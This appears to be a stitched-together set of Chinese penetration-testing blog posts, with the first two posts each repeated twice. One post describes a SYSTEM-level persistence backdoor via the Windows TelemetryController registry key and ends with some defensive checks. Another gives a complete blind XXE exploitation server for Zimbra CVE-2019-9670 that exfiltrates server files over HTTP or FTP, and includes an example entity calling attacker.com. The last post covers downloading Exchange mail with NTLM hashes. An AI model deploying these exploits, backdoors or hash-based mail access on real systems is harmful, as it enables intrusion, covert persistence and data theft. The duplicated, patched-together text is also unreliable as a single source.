0x00 前言

我从ABUSING WINDOWS TELEMETRY FOR PERSISTENCE学到了一种利用TelemetryController实现的自启动后门方法,在Win10下测试没有问题,但在Win7和Server2012R2下测试遇到了不同的结果。

本文将要记录我的学习心得,分析利用方法,给出防御建议。

参考资料:

https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/

0x01 简介

本文将要介绍以下内容:

◼基础知识

◼常规利用方法

◼在Win7和Server2012R2下遇到的问题

◼解决方法

◼利用方法

◼防御建议

0x02 基础知识

1.TelemetryController

对应的进程为CompatTelRunner.exe

CompatTelRunner.exe被称为Windows兼容性遥测监控程序。它会定期向微软发送使用和性能数据,以便改进用户体验和修复潜在的错误。

通常是为了升级win10做兼容性检查用的程序。

通过计划任务Microsoft Compatibility Appraiser启动。

计划任务Microsoft Compatibility Appraiser默认启用,每隔一天自动运行一次,任意用户登录时也会运行。

2.计划任务Microsoft Compatibility Appraiser

(1)通过面板查看计划任务

启动taskschd.msc

依次选择Task Scheduler (Local) -> Task Scheduler Library -> Microsoft -> Windows -> Application Experience,选择Microsoft Compatibility Appraiser

如下图

73680382f5b622d778109586d75a3c7.png

这里能看到计划任务Microsoft Compatibility Appraiser的详细信息。

(2)通过命令行查看计划任务

命令如下:

image.png

如果是在中文操作系统,有可能会产生以下错误:

image.png

如下图

bef84fa035cf9f0ec7a929645b6970c.png

查看cmd 编码,执行命令:chcp

返回结果:

image.png

表示使用936中文GBK编码

如下图

9935cd6bb738f032028de60abd94b9b.png

解决方法:

换成437美国编码,命令如下:chcp 437

再次执行: schtasks /query

结果正常

如下图

66d2bf206847a969ed900662f014d62.png

直接筛选出Microsoft Compatibility Appraiser:

image.png

显示详细信息:

image.png

修改计划任务状态,将禁用状态改为启用:

image.png

0x03 常规利用方法

1.修改注册表

修改注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController

新建任意名称的Key,键值信息如下:

image.png

以上操作可通过命令行实现,命令如下:

image.png

注:

这里创建了名为fun的Key

2.开启计划任务Microsoft Compatibility Appraiser

可以选择等待计划任务启动

也可以强制开启,命令如下:

image.png

后门触发,在Win10系统下会立即以System权限启动进程CompatTelRunner.exe和notepad.exe

注:

CompatTelRunner.exe为notepad.exe的父进程,如果进程notepad.exe正在运行,那么进程CompatTelRunner.exe一直处于阻塞状态。

0x04 在Win7和Server2012R2下遇到的问题

操作方法同上,在启动后门后,会以System权限启动两个进程CompatTelRunner.exe。

如下图

bd96bae67861f88f6a2009c8d3bd24d.png

其中一个CompatTelRunner.exe的命令行参数为:

image.png

该进程对应注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\Appraiser

经过实际测试得出以下结论:

1、经过一段时间后,如果仍未完成检查,进程CompatTelRunner.exe会持续运行,无法以System权限启动进程notepad.exe

2、经过一段时间后,如果完成检查,进程CompatTelRunner.exe会自动退出,接下来以System权限启动进程CompatTelRunner.exe和notepad.exe

3、如果选择强制结束进程CompatTelRunner.exe,同样接下来会以System权限启动进程CompatTelRunner.exe和notepad.exe

如下图

ed58c4c8390ce72f062c9ba391cec41.png

这里我们可以避免这个问题,实现稳定触发,以System权限启动进程CompatTelRunner.exe和notepad.exe,方法如下:

修改注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\Appraiser的Command项

默认值为%windir%\system32\CompatTelRunner.exe -m:appraiser.dll -f:DoScheduledTelemetryRun

这里可以选择跳过检查过程,例如将Command项的值置空,就不会在计划任务启动时执行检查

为了提高隐蔽性,可以将Command项设置为%windir%\system32\CompatTelRunner.exe -m:appraiser.dll

为了验证修改键值是否影响系统的正常功能,可以对%windir%\system32\CompatTelRunner.exe进行反编译

启动进程的伪代码细节如下图

1c106bb9c1ac75e4607185b6778c570.png

0x05 利用方法

1.前置条件

需要查看是否开启默认的计划任务Microsoft Compatibility Appraiser,查询命令如下:

image.png

2.放置后门

我在Win7、Server2012R2、Win10测试的结果表明,稳定利用方法如下:

修改注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\Appraiser的Command项。

值设置为C:\WINDOWS\system32\cmd.exe /c notepad.exe。

命令行实现的命令如下:

image.png

补充:还原配置的命令

image.png

3.后门触发

等待计划任务Microsoft Compatibility Appraiser运行

为了便于测试,可以强制开启,命令如下:

image.png

4.特点

能够绕过Autoruns的检测,以System权限执行命令。

断网状态下同样能够触发。

0x06 防御建议

1.查看注册表的默认值是否被修改

(1)查看注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\Appraiser的Command项。

命令如下:

image.png

默认值如下:

image.png

(2)查看注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController下的Key。

命令如下:

image.png

默认值如下:

image.png

2.禁用计划任务Microsoft Compatibility Appraiser

命令如下:

image.png

3.查看进程CompatTelRunner.exe信息

分析进程CompatTelRunner.exe下是否有可疑子进程。

0x07 小结

本文记录了我对TelemetryController后门机制的学习心得,总结出了更为通用的利用方法,给出针对性的防御建议。

0x00 前言

我从ABUSING WINDOWS TELEMETRY FOR PERSISTENCE学到了一种利用TelemetryController实现的自启动后门方法,在Win10下测试没有问题,但在Win7和Server2012R2下测试遇到了不同的结果。

本文将要记录我的学习心得,分析利用方法,给出防御建议。

参考资料:

https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/

0x01 简介

本文将要介绍以下内容:

◼基础知识

◼常规利用方法

◼在Win7和Server2012R2下遇到的问题

◼解决方法

◼利用方法

◼防御建议

0x02 基础知识

1.TelemetryController

对应的进程为CompatTelRunner.exe

CompatTelRunner.exe被称为Windows兼容性遥测监控程序。它会定期向微软发送使用和性能数据,以便改进用户体验和修复潜在的错误。

通常是为了升级win10做兼容性检查用的程序。

通过计划任务Microsoft Compatibility Appraiser启动。

计划任务Microsoft Compatibility Appraiser默认启用,每隔一天自动运行一次,任意用户登录时也会运行。

2.计划任务Microsoft Compatibility Appraiser

(1)通过面板查看计划任务

启动taskschd.msc

依次选择Task Scheduler (Local) -> Task Scheduler Library -> Microsoft -> Windows -> Application Experience,选择Microsoft Compatibility Appraiser

如下图

73680382f5b622d778109586d75a3c7.png

这里能看到计划任务Microsoft Compatibility Appraiser的详细信息。

(2)通过命令行查看计划任务

命令如下:

image.png

如果是在中文操作系统,有可能会产生以下错误:

image.png

如下图

bef84fa035cf9f0ec7a929645b6970c.png

查看cmd 编码,执行命令:chcp

返回结果:

image.png

表示使用936中文GBK编码

如下图

9935cd6bb738f032028de60abd94b9b.png

解决方法:

换成437美国编码,命令如下:chcp 437

再次执行: schtasks /query

结果正常

如下图

66d2bf206847a969ed900662f014d62.png

直接筛选出Microsoft Compatibility Appraiser:

image.png

显示详细信息:

image.png

修改计划任务状态,将禁用状态改为启用:

image.png

0x03 常规利用方法

1.修改注册表

修改注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController

新建任意名称的Key,键值信息如下:

image.png

以上操作可通过命令行实现,命令如下:

image.png

注:

这里创建了名为fun的Key

2.开启计划任务Microsoft Compatibility Appraiser

可以选择等待计划任务启动

也可以强制开启,命令如下:

image.png

后门触发,在Win10系统下会立即以System权限启动进程CompatTelRunner.exe和notepad.exe

注:

CompatTelRunner.exe为notepad.exe的父进程,如果进程notepad.exe正在运行,那么进程CompatTelRunner.exe一直处于阻塞状态。

0x04 在Win7和Server2012R2下遇到的问题

操作方法同上,在启动后门后,会以System权限启动两个进程CompatTelRunner.exe。

如下图

bd96bae67861f88f6a2009c8d3bd24d.png

其中一个CompatTelRunner.exe的命令行参数为:

image.png

该进程对应注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\Appraiser

经过实际测试得出以下结论:

1、经过一段时间后,如果仍未完成检查,进程CompatTelRunner.exe会持续运行,无法以System权限启动进程notepad.exe

2、经过一段时间后,如果完成检查,进程CompatTelRunner.exe会自动退出,接下来以System权限启动进程CompatTelRunner.exe和notepad.exe

3、如果选择强制结束进程CompatTelRunner.exe,同样接下来会以System权限启动进程CompatTelRunner.exe和notepad.exe

如下图

ed58c4c8390ce72f062c9ba391cec41.png

这里我们可以避免这个问题,实现稳定触发,以System权限启动进程CompatTelRunner.exe和notepad.exe,方法如下:

修改注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\Appraiser的Command项

默认值为%windir%\system32\CompatTelRunner.exe -m:appraiser.dll -f:DoScheduledTelemetryRun

这里可以选择跳过检查过程,例如将Command项的值置空,就不会在计划任务启动时执行检查

为了提高隐蔽性,可以将Command项设置为%windir%\system32\CompatTelRunner.exe -m:appraiser.dll

为了验证修改键值是否影响系统的正常功能,可以对%windir%\system32\CompatTelRunner.exe进行反编译

启动进程的伪代码细节如下图

1c106bb9c1ac75e4607185b6778c570.png

0x05 利用方法

1.前置条件

需要查看是否开启默认的计划任务Microsoft Compatibility Appraiser,查询命令如下:

image.png

2.放置后门

我在Win7、Server2012R2、Win10测试的结果表明,稳定利用方法如下:

修改注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\Appraiser的Command项。

值设置为C:\WINDOWS\system32\cmd.exe /c notepad.exe。

命令行实现的命令如下:

image.png

补充:还原配置的命令

image.png

3.后门触发

等待计划任务Microsoft Compatibility Appraiser运行

为了便于测试,可以强制开启,命令如下:

image.png

4.特点

能够绕过Autoruns的检测,以System权限执行命令。

断网状态下同样能够触发。

0x06 防御建议

1.查看注册表的默认值是否被修改

(1)查看注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\Appraiser的Command项。

命令如下:

image.png

默认值如下:

image.png

(2)查看注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController下的Key。

命令如下:

image.png

默认值如下:

image.png

2.禁用计划任务Microsoft Compatibility Appraiser

命令如下:

image.png

3.查看进程CompatTelRunner.exe信息

分析进程CompatTelRunner.exe下是否有可疑子进程。

0x07 小结

本文记录了我对TelemetryController后门机制的学习心得,总结出了更为通用的利用方法,给出针对性的防御建议。

0x00 前言

当应用程序存在XXE注入漏洞但不返回其响应中任何定义的外部实体的值时,就会出现blind XXE漏洞,这意味着无法直接读取服务器文件,利用起来也比常规XXE漏洞更加复杂。

在内网渗透中,最理想的情况是在跳板的命令行下完成整个漏洞的利用,于是我打算用Python实现一个完整的blind XXE利用平台,支持在命令行下运行。

0x01 简介

本文将要介绍以下内容:

◼blind XXE基本知识

◼设计思路

◼开源代码

0x02 blind XXE基本知识

参考链接:

https://portswigger.net/web-security/xxe

https://portswigger.net/web-security/xxe/blind

0x03 设计思路

1.漏洞验证

XXE利用代码如下:

< !DOCTYPE foo [ < !ENTITY xxe SYSTEM "http://attacker.com"> ]>

这里定义了一个外部实体,如果存在漏洞,服务器会向指定的Web服务器发送http请求。

Web服务器的搭建可以使用Python的SimpleHTTPRequestHandler,细节可参考之前的文章《渗透工具开发——XSS平台的命令行实现》

2.漏洞利用

XXE利用代码如下:

< !DOCTYPE foo [< !ENTITY % xxe SYSTEM "  > %xxe;] >

malicious.dtd为具体的利用代码,这里有以下两种传输数据的方法。

(1)通过HTTP协议传输数据

malicious.dtd代码示例:

< !ENTITY % file SYSTEM "  >< !ENTITY % eval "<  !ENTITY % exfiltrate SYSTEM '  >" >
%eval;
%exfiltrate;

参数实体file用来保存文件内容。

参数实体eval用来将文件内容发送至HTTP服务器,通过GET方式,参数x的内容为读取的文件内容。

&#x25为%的HTML实体编码。

在程序实现上,可以对GET请求做一个判断,如果满足条件,将参数x的内容提取。

(2)通过FTP协议传输数据

malicious.dtd代码示例:

< !ENTITY % file SYSTEM "  >< !ENTITY % eval "< !ENTITY % exfiltrate SYSTEM '  >" >
%eval;
%exfiltrate;

参数实体file用来保存文件内容。

参数实体eval用来将文件内容发送至FTP服务器,发送的FTP数据中,除了包括读取的文件内容,还有其他的登录数据。

在程序实现上,可以通过socket搭建一个简单的FTP服务器,将通信内容进行筛选,获得文件内容。

FTP服务器的搭建参考了xxer,优点是使用socket模拟搭建FTP服务器,方便快捷。

但是在程序实现上,需要做一些修改,需要注意的内容如下:

1、str和byte的转换

2、数据去重,需要将PORT命令的返回状态码设置为500,如果使用200,客户端会再次发送带有RETR的结果,导致最后的数据重复

3、从FTP数据中提取文件内容,只提取带有CWD和RETR前缀的内容,去除多余的回车换行可以使用代码print(data, end='')

0x04 开源代码

这里以Zimbra XXE漏洞(CVE-2019-9670)为例,开发一个blind XXE利用平台

完整代码如下:

#Python3
import sys
import urllib3
import requests
import threading
import socket
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
filetoread = ""
xxeplatform_url = ""
xxeplatform_http_port = ""
xxeplatform_ftp_port = ""
class XXERequestHandler(SimpleHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def do_GET(self):
        if self.path.endswith("file.dtd"):
            print("[+] Delivering DTD file to " + self.client_address[0])
            if xxeplatform_ftp_port == "false":
                xml = """< !ENTITY % file SYSTEM "  >< !ENTITY % eval "< !ENTITY % exfiltrate SYSTEM '  >" >
%eval;
%exfiltrate;""".format(filetoread=filetoread,xxeplatform_url=xxeplatform_url,xxeplatform_http_port=xxeplatform_http_port)
            else:
                xml = """< !ENTITY % file SYSTEM "  >< !ENTITY % eval "< !ENTITY % exfiltrate SYSTEM '  >" >
%eval;
%exfiltrate;""".format(filetoread=filetoread,xxeplatform_url=xxeplatform_url,xxeplatform_ftp_port=xxeplatform_ftp_port)
            self.send_response(200)
            self.send_header("Content-Length", len(xml))
            self.end_headers()
            self.wfile.write(str.encode(xml))
        if "?requestfiledata=" in self.path:
            print("[+] Read file content successfully. The contents are as follows:")
            print(self.path[18:])
    def do_POST(self):
        print(self.path)
        post_data = self.rfile.read(length).decode()
        print(post_data)
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.end_headers()
        self.wfile.write()
#Reference:https://github.com/TheTwitchy/xxer/
class FTPserverThread(threading.Thread):
    def __init__(self, conn_addr):
        conn, addr = conn_addr
        self.conn = conn
        self.addr = addr
        threading.Thread.__init__(self)
    def run(self):
        self.conn.send(b'220 Welcome!\r\n')
        print("[+] Read file content successfully. The contents are as follows:")
        while True:
            data = self.conn.recv(1024)
            if not data:
                break
            else:
                if "RETR" in bytes.decode(data):
                    print(bytes.decode(data)[5:], end='')
                elif "CWD" in bytes.decode(data):
                    print(bytes.decode(data)[4:], end='')
                #print("FTP: recvd '%s'" % bytes.decode(data))
                if "LIST" in bytes.decode(data):
                    self.conn.send(b"drwxrwxrwx 1 owner group          1 Feb 21 04:37 test\r\n")
                    self.conn.send(b"150 Opening BINARY mode data connection for /bin/ls\r\n")
                    self.conn.send(b"226 Transfer complete.\r\n")
                elif "USER" in bytes.decode(data):
                    self.conn.send(b"331 password please\r\n")
                elif "PORT" in bytes.decode(data):
                    self.conn.send(b"500 PORT command error\r\n")
                elif "RETR" in bytes.decode(data):
                    self.conn.send(b"500 Sorry.\r\n\r\n")
                else:
                    self.conn.send(b"230 more data please\r\n")
class FTPserver(threading.Thread):
    def __init__(self, port):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("0.0.0.0", port))
        threading.Thread.__init__(self)
    def run(self):
        self.sock.listen(5)
        while True:
            th = FTPserverThread(self.sock.accept())
            th.daemon = True
            th.start()
    def stop(self):
        self.sock.close()
def send_XXEPayload(xxeplatform_url, xxeplatform_http_port, target_url):
        xxe_data = r"""< !DOCTYPE Autodiscover [
        < !ENTITY % dtd SYSTEM "  >
        %dtd;
        ]>< Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    < Request>
        < EMailAddress>aaaaa< /EMailAddress >
        < AcceptableResponseSchema>&fileContents;< /AcceptableResponseSchema >
    < /Request>< /Autodiscover>""".format(xxeplatform_url=xxeplatform_url,xxeplatform_http_port=xxeplatform_http_port)
        headers = {
            "Content-Type":"application/xml"
        }
        r = requests.post("https://"+target_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=30)
if __name__ == '__main__':
    if len(sys.argv)!=5:
        print("blind_XXEPlatform_CVE-2019-9670.py") 
        print("It supports receiving results through HTTP or FTP protocol.")           
        print("Usage:")
        print("%s < xxeplatform_url> < xxeplatform_http_port> < xxeplatform_ftp_port> < target_url>"%(sys.argv[0]))
        print("Note:")
        print("If you set the value of < xxeplatform_ftp_port> to false, the HTTP mode will be turned on and the results will be received through HTTP")        
        print("Eg.")
        print("%s 192.168.1.1 80 false 192.168.1.2"%(sys.argv[0]))
        print("%s 192.168.1.1 80 21 192.168.1.2"%(sys.argv[0]))
        sys.exit(0)
    else:
        xxeplatform_url = sys.argv[1]       
        xxeplatform_http_port = sys.argv[2]
        xxeplatform_ftp_port = sys.argv[3]
        target_url = sys.argv[4]
        print("[*] HTTP Server listening on %s"%(xxeplatform_http_port))
        httpd = HTTPServer(('0.0.0.0', int(xxeplatform_http_port)), XXERequestHandler)
        handlerthr = Thread(target=httpd.serve_forever, args=())
        handlerthr.daemon = True
        handlerthr.start()
        if xxeplatform_ftp_port == "false":
            print("[*] Receive results over HTTP protocol")
        else:
            print("[*] FTP Server listening on %s" % (xxeplatform_ftp_port))
            t_ftpd = FTPserver(int(xxeplatform_ftp_port))
            t_ftpd.daemon = True
            t_ftpd.start()
            print("[*] Receive results over FTP protocol")            
        try:
            while 1:
                filetoread = input("Input the file path to read(Eg. /etc/passwd):")
                send_XXEPayload(xxeplatform_url, xxeplatform_http_port, target_url)
        except KeyboardInterrupt:
            pass

代码支持命令行下使用,传输数据支持HTTP和FTP。

HTTP数据传输模式示例:

blind_XXEPlatform_CVE-2019-9670.py 192.168.1.1 80 false 192.168.1.2

参数说明:

◼本机IP为192.168.1.1

◼XXE服务器dtd文件地址为http://192.168.1.1:80/file.dtd

◼HTTP数据传输地址为http://192.168.1.1:80/?requestfiledata=xxxx

◼目标服务器地址为https://192.168.1.2

FTP数据传输模式示例:

blind_XXEPlatform_CVE-2019-9670.py 192.168.1.1 80 21 192.168.1.2

◼本机IP为192.168.1.1

◼XXE服务器dtd文件地址为http://192.168.1.1:80/file.dtd

◼FTP数据传输地址为ftp://192.168.1.1:21

◼目标服务器地址为https://192.168.1.2

0x05 小结

本文介绍了blind XXE利用平台的实现,针对其他漏洞的利用,只需要修改函数send_XXEPayload的内容

0x00 前言

当应用程序存在XXE注入漏洞但不返回其响应中任何定义的外部实体的值时,就会出现blind XXE漏洞,这意味着无法直接读取服务器文件,利用起来也比常规XXE漏洞更加复杂。

在内网渗透中,最理想的情况是在跳板的命令行下完成整个漏洞的利用,于是我打算用Python实现一个完整的blind XXE利用平台,支持在命令行下运行。

0x01 简介

本文将要介绍以下内容:

◼blind XXE基本知识

◼设计思路

◼开源代码

0x02 blind XXE基本知识

参考链接:

https://portswigger.net/web-security/xxe

https://portswigger.net/web-security/xxe/blind

0x03 设计思路

1.漏洞验证

XXE利用代码如下:

< !DOCTYPE foo [ < !ENTITY xxe SYSTEM "http://attacker.com"> ]>

这里定义了一个外部实体,如果存在漏洞,服务器会向指定的Web服务器发送http请求。

Web服务器的搭建可以使用Python的SimpleHTTPRequestHandler,细节可参考之前的文章《渗透工具开发——XSS平台的命令行实现》

2.漏洞利用

XXE利用代码如下:

< !DOCTYPE foo [< !ENTITY % xxe SYSTEM "  > %xxe;] >

malicious.dtd为具体的利用代码,这里有以下两种传输数据的方法。

(1)通过HTTP协议传输数据

malicious.dtd代码示例:

< !ENTITY % file SYSTEM "  >< !ENTITY % eval "<  !ENTITY % exfiltrate SYSTEM '  >" >
%eval;
%exfiltrate;

参数实体file用来保存文件内容。

参数实体eval用来将文件内容发送至HTTP服务器,通过GET方式,参数x的内容为读取的文件内容。

&#x25为%的HTML实体编码。

在程序实现上,可以对GET请求做一个判断,如果满足条件,将参数x的内容提取。

(2)通过FTP协议传输数据

malicious.dtd代码示例:

< !ENTITY % file SYSTEM "  >< !ENTITY % eval "< !ENTITY % exfiltrate SYSTEM '  >" >
%eval;
%exfiltrate;

参数实体file用来保存文件内容。

参数实体eval用来将文件内容发送至FTP服务器,发送的FTP数据中,除了包括读取的文件内容,还有其他的登录数据。

在程序实现上,可以通过socket搭建一个简单的FTP服务器,将通信内容进行筛选,获得文件内容。

FTP服务器的搭建参考了xxer,优点是使用socket模拟搭建FTP服务器,方便快捷。

但是在程序实现上,需要做一些修改,需要注意的内容如下:

1、str和byte的转换

2、数据去重,需要将PORT命令的返回状态码设置为500,如果使用200,客户端会再次发送带有RETR的结果,导致最后的数据重复

3、从FTP数据中提取文件内容,只提取带有CWD和RETR前缀的内容,去除多余的回车换行可以使用代码print(data, end='')

0x04 开源代码

这里以Zimbra XXE漏洞(CVE-2019-9670)为例,开发一个blind XXE利用平台

完整代码如下:

#Python3
import sys
import urllib3
import requests
import threading
import socket
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
filetoread = ""
xxeplatform_url = ""
xxeplatform_http_port = ""
xxeplatform_ftp_port = ""
class XXERequestHandler(SimpleHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def do_GET(self):
        if self.path.endswith("file.dtd"):
            print("[+] Delivering DTD file to " + self.client_address[0])
            if xxeplatform_ftp_port == "false":
                xml = """< !ENTITY % file SYSTEM "  >< !ENTITY % eval "< !ENTITY % exfiltrate SYSTEM '  >" >
%eval;
%exfiltrate;""".format(filetoread=filetoread,xxeplatform_url=xxeplatform_url,xxeplatform_http_port=xxeplatform_http_port)
            else:
                xml = """< !ENTITY % file SYSTEM "  >< !ENTITY % eval "< !ENTITY % exfiltrate SYSTEM '  >" >
%eval;
%exfiltrate;""".format(filetoread=filetoread,xxeplatform_url=xxeplatform_url,xxeplatform_ftp_port=xxeplatform_ftp_port)
            self.send_response(200)
            self.send_header("Content-Length", len(xml))
            self.end_headers()
            self.wfile.write(str.encode(xml))
        if "?requestfiledata=" in self.path:
            print("[+] Read file content successfully. The contents are as follows:")
            print(self.path[18:])
    def do_POST(self):
        print(self.path)
        post_data = self.rfile.read(length).decode()
        print(post_data)
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.end_headers()
        self.wfile.write()
#Reference:https://github.com/TheTwitchy/xxer/
class FTPserverThread(threading.Thread):
    def __init__(self, conn_addr):
        conn, addr = conn_addr
        self.conn = conn
        self.addr = addr
        threading.Thread.__init__(self)
    def run(self):
        self.conn.send(b'220 Welcome!\r\n')
        print("[+] Read file content successfully. The contents are as follows:")
        while True:
            data = self.conn.recv(1024)
            if not data:
                break
            else:
                if "RETR" in bytes.decode(data):
                    print(bytes.decode(data)[5:], end='')
                elif "CWD" in bytes.decode(data):
                    print(bytes.decode(data)[4:], end='')
                #print("FTP: recvd '%s'" % bytes.decode(data))
                if "LIST" in bytes.decode(data):
                    self.conn.send(b"drwxrwxrwx 1 owner group          1 Feb 21 04:37 test\r\n")
                    self.conn.send(b"150 Opening BINARY mode data connection for /bin/ls\r\n")
                    self.conn.send(b"226 Transfer complete.\r\n")
                elif "USER" in bytes.decode(data):
                    self.conn.send(b"331 password please\r\n")
                elif "PORT" in bytes.decode(data):
                    self.conn.send(b"500 PORT command error\r\n")
                elif "RETR" in bytes.decode(data):
                    self.conn.send(b"500 Sorry.\r\n\r\n")
                else:
                    self.conn.send(b"230 more data please\r\n")
class FTPserver(threading.Thread):
    def __init__(self, port):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("0.0.0.0", port))
        threading.Thread.__init__(self)
    def run(self):
        self.sock.listen(5)
        while True:
            th = FTPserverThread(self.sock.accept())
            th.daemon = True
            th.start()
    def stop(self):
        self.sock.close()
def send_XXEPayload(xxeplatform_url, xxeplatform_http_port, target_url):
        xxe_data = r"""< !DOCTYPE Autodiscover [
        < !ENTITY % dtd SYSTEM "  >
        %dtd;
        ]>< Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    < Request>
        < EMailAddress>aaaaa< /EMailAddress >
        < AcceptableResponseSchema>&fileContents;< /AcceptableResponseSchema >
    < /Request>< /Autodiscover>""".format(xxeplatform_url=xxeplatform_url,xxeplatform_http_port=xxeplatform_http_port)
        headers = {
            "Content-Type":"application/xml"
        }
        r = requests.post("https://"+target_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=30)
if __name__ == '__main__':
    if len(sys.argv)!=5:
        print("blind_XXEPlatform_CVE-2019-9670.py") 
        print("It supports receiving results through HTTP or FTP protocol.")           
        print("Usage:")
        print("%s < xxeplatform_url> < xxeplatform_http_port> < xxeplatform_ftp_port> < target_url>"%(sys.argv[0]))
        print("Note:")
        print("If you set the value of < xxeplatform_ftp_port> to false, the HTTP mode will be turned on and the results will be received through HTTP")        
        print("Eg.")
        print("%s 192.168.1.1 80 false 192.168.1.2"%(sys.argv[0]))
        print("%s 192.168.1.1 80 21 192.168.1.2"%(sys.argv[0]))
        sys.exit(0)
    else:
        xxeplatform_url = sys.argv[1]       
        xxeplatform_http_port = sys.argv[2]
        xxeplatform_ftp_port = sys.argv[3]
        target_url = sys.argv[4]
        print("[*] HTTP Server listening on %s"%(xxeplatform_http_port))
        httpd = HTTPServer(('0.0.0.0', int(xxeplatform_http_port)), XXERequestHandler)
        handlerthr = Thread(target=httpd.serve_forever, args=())
        handlerthr.daemon = True
        handlerthr.start()
        if xxeplatform_ftp_port == "false":
            print("[*] Receive results over HTTP protocol")
        else:
            print("[*] FTP Server listening on %s" % (xxeplatform_ftp_port))
            t_ftpd = FTPserver(int(xxeplatform_ftp_port))
            t_ftpd.daemon = True
            t_ftpd.start()
            print("[*] Receive results over FTP protocol")            
        try:
            while 1:
                filetoread = input("Input the file path to read(Eg. /etc/passwd):")
                send_XXEPayload(xxeplatform_url, xxeplatform_http_port, target_url)
        except KeyboardInterrupt:
            pass

代码支持命令行下使用,传输数据支持HTTP和FTP。

HTTP数据传输模式示例:

blind_XXEPlatform_CVE-2019-9670.py 192.168.1.1 80 false 192.168.1.2

参数说明:

◼本机IP为192.168.1.1

◼XXE服务器dtd文件地址为http://192.168.1.1:80/file.dtd

◼HTTP数据传输地址为http://192.168.1.1:80/?requestfiledata=xxxx

◼目标服务器地址为https://192.168.1.2

FTP数据传输模式示例:

blind_XXEPlatform_CVE-2019-9670.py 192.168.1.1 80 21 192.168.1.2

◼本机IP为192.168.1.1

◼XXE服务器dtd文件地址为http://192.168.1.1:80/file.dtd

◼FTP数据传输地址为ftp://192.168.1.1:21

◼目标服务器地址为https://192.168.1.2

0x05 小结

本文介绍了blind XXE利用平台的实现,针对其他漏洞的利用,只需要修改函数send_XXEPayload的内容

0x00 前言

在之前的文章介绍了通过SOAP XML message实现利用hash对Exchange资源的访问,由于采用了较为底层的通信协议,在功能实现上相对繁琐,但是有助于理解通信协议原理和漏洞利用。

如果仅仅为了更高效的开发一个资源访问的程序,可以借助Python库exchangelib实现。

本文将要介绍exchangelib的用法,开源代码,实现自动化下载邮件和提取附件。

0x01 简介

本文将要介绍以下内容:

◼exchangelib用法

◼开发细节

◼开源代码

0x02 exchangelib用法

参考资料:

https://github.com/ecederstrand/exchangelib

https://ecederstrand.github.io/exchangelib/

1.简单的登录测试

代码如下:

image.png

如果Exchange服务器证书不可信,需要忽略证书验证,加入以下代码:

image.png

屏蔽输出的提示信息InsecureRequestWarning,加入以下代码:

image.png

完整代码如下:

image.png

2.使用明文或hash登录

使用明文登录:

image.png

使用Hash登录:

image.png

3.统计邮件数目

示例代码:

image.png

4.指定时间范围进行搜索

示例代码:

image.png

5.指定下载数量:

指定前10个:

image.png

指定后10个:

image.png

指定区间:

image.png

6.文件夹枚举

能够遍历出邮箱用户下的所有文件夹,示例代码:

image.png

7.将Python脚本编译成exe

如果将使用exchangelib开发的Python脚本编译成exe格式,使用pyinstaller -F test.py命令会报错,提示:No time zone found with key UTC。

解决方法:

image.png

0x03 开发细节

1.通信协议

exchangelib也是通过SOAP XML message实现利用hash对Exchange资源的访问。

2.邮件保存

exchangelib中会自动XML格式邮件内容进行解析,在保存邮件时,可以直接提取出对应的信息。

这里需要注意的是可以将返回结果中的字符串\r\n替换成换行符,提高数据可读性。

示例代码:

image.png

3.条件匹配

exchangelib支持Advanced Query Syntax (AQS)。

AQS参考资料:

https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/querystring-querystringtype

利用AQS可以实现日期搜索,搜索格式示例:

image.png

对于关键词搜索,无法直接使用AQS,可以选择接收所有邮件再进行字符串匹配。

0x04 开源代码

完整代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/ewsManage_exchangelib_Downloader.py

支持明文和NTLM Hash的登录,代码支持以下功能:

◼支持自己的Exchange服务器和Office365(outlook.office365.com)

◼download,下载邮件并提取附件,可指定邮箱文件夹和下载数量

◼search,邮件搜索并下载,支持关键词、时间、长度等语法

◼listfolder,枚举用户所有文件夹

